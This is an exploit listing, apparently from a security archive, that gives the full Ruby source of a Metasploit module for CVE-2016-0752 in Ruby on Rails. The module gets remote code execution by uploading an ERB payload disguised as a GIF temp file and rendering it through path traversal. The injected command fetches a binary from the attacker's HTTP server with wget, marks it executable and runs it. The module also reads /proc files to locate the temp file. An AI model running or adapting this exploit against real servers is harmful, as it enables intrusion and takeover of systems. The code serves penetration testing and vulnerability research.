Ruby on Rails Dynamic Render File Upload Remote Code Execution
![]() |
This Metasploit module exploits a remote code execution vulnerability in the explicit render method when leveraging user parameters. This Metasploit module has been tested across multiple versions of Ruby on Rails. The technique used by this module requires the specified endpoint to be using dynamic render paths. Also, the vulnerable target will need a POST endpoint for the TempFile upload, this can literally be any endpoint. This Metasploit module does not use the log inclusion method of exploitation due to it not being universal enough. Instead, a new code injection technique was found and used whereby an attacker can upload temporary image files against any POST endpoint and use them for the inclusion attack. Finally, you only get one shot at this if you are testing with the builtin rails server, use caution.
MD5 |
330df82eae0981c2ca7cc8777a63a53c
require 'msf/core'class MetasploitModule < Msf::Exploit::RemoteRank = ExcellentRankinginclude Msf::Exploit::Remote::HttpClientinclude Msf::Exploit::Remote::HttpServerinclude Msf::Exploit::EXEinclude Msf::Exploit::FileDropperdef initialize(info = {})super(update_info(info,'Name' => 'Ruby on Rails Dynamic Render File Upload Remote Code Execution','Description' => %q{This module exploits a remote code execution vulnerability in the explicit rendermethod when leveraging user parameters.This module has been tested across multiple versions of Ruby on Rails.The technique used by this module requires the specifiedendpoint to be using dynamic render paths, such as the following example:def showrender params[:id]endAlso, the vulnerable target will need a POST endpoint for the TempFile upload, thiscan literally be any endpoint. This module doesnt use the log inclusion method ofexploitation due to it not being universal enough. Instead, a new code injectiontechnique was found and used whereby an attacker can upload temporary image filesagainst any POST endpoint and use them for the inclusion attack. Finally, you onlyget one shot at this if you are testing with the builtin rails server, use caution.},'Author' =>['mr_me', # necromanced old bug & discovered new vector rce vector 'John Poulin (forced-request)' # original render bug finder],'References' =>[[ 'CVE', '2016-0752'],[ 'URL', 'https://groups.google.com/forum/#!topic/rubyonrails-security/335P1DcLG00'], # rails patch[ 'URL', 'https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752/'], # John Poulin CVE-2016-0752 patched in 5.0.0.beta1.1 - January 25, 2016[ 'URL', 'https://gist.github.com/forced-request/5158759a6418e6376afb'], # John's original exploit],'License' => MSF_LICENSE,'Platform' => ['linux', 'bsd'],'Arch' => ARCH_X86,'Payload' =>{'DisableNops' => true,},'Privileged' => false,'Targets' =>[[ 'Ruby on Rails 4.0.8 July 2, 2014', {} ] # Other versions are also affected],'DefaultTarget' => 0,'DisclosureDate' => 'Oct 16 2016'))register_options([Opt::RPORT(3000),OptString.new('URIPATH', [ true, 'The path to the vulnerable route', "/users"]),OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]),], self.class)enddef check# this is the check for the dev environmentres = send_request_cgi({'uri' => normalize_uri(datastore['URIPATH'], "%2f"),'method' => 'GET',}, 60)# if the page controller is dynamically rendering, its for sure vulnif res and res.body =~ /render params/return CheckCode::Vulnerableend# this is the check for the prod environmentres = send_request_cgi({'uri' => normalize_uri(datastore['URIPATH'], "%2fproc%2fself%2fcomm"),'method' => 'GET',}, 60)# if we can read files, its likley we can execute codeif res and res.body =~ /ruby/return CheckCode::Appearsendreturn CheckCode::Safeenddef on_request_uri(cli, request)if (not @pl)print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")returnendprint_status("#{rhost}:#{rport} - Sending the payload to the server...")@elf_sent = truesend_response(cli, @pl)enddef send_payload@bd = rand_text_alpha(8+rand(8))fn = rand_text_alpha(8+rand(8))un = rand_text_alpha(8+rand(8))pn = rand_text_alpha(8+rand(8))register_file_for_cleanup("/tmp/#{@bd}")cmd = "wget #{@service_url} -O /tmp/#{@bd};"cmd << "chmod 755 /tmp/#{@bd};"cmd << "/tmp/#{@bd}"pay = "<%=`#{cmd}`%>"print_status("uploading image...")data = Rex::MIME::Message.newdata.add_part(pay, nil, nil, 'form-data; name="#{un}"; filename="#{fn}.gif"')res = send_request_cgi({'method' => 'POST','cookie' => @cookie,'uri' => normalize_uri(datastore['URIPATH'], pn),'ctype' => "multipart/form-data; boundary=#{data.bound}",'data' => data.to_s})if res and res.code == 422 and res.body =~ /Tempfile:\/(.*)>/@path = "#{$1}" if res.body =~ /Tempfile:\/(.*)>/return trueelse# this is where we pull the log fileif leak_logreturn trueendendreturn falseenddef leak_log# path to the log /proc/self/fd/7# this bypasses the extension checkres = send_request_cgi({'uri' => normalize_uri(datastore['URIPATH'], "proc%2fself%2ffd%2f7"),'method' => 'GET',}, 60)if res and res.code == 200 and res.body =~ /Tempfile:\/(.*)>, @original_filename=/@path = "#{$1}" if res.body =~ /Tempfile:\/(.*)>, @original_filename=/return trueendreturn falseenddef start_http_server@pl = generate_payload_exe@elf_sent = falsedownfile = rand_text_alpha(8+rand(8))resource_uri = '/' + downfileif (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)elsesrv_host = datastore['SRVHOST']end# do not use SSL for the attacking web serverif datastore['SSL']ssl_restore = truedatastore['SSL'] = falseend@service_url = "http://#{srv_host}:#{datastore['SRVPORT']}#{resource_uri}"service_url_payload = srv_host + resource_uriprint_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...")start_service({'Uri' => {'Proc' => Proc.new { |cli, req|on_request_uri(cli, req)},'Path' => resource_uri}})datastore['SSL'] = true if ssl_restoreconnectenddef render_tmpfile@path.gsub!(/\//, '%2f')res = send_request_cgi({'uri' => normalize_uri(datastore['URIPATH'], @path),'method' => 'GET',}, 1)enddef exploitprint_status("Sending initial request to detect exploitability")start_http_serverif send_payloadprint_good("injected payload")render_tmpfile# we need to delay, for the stagerselect(nil, nil, nil, 5)endendend
Κατηγορίες:
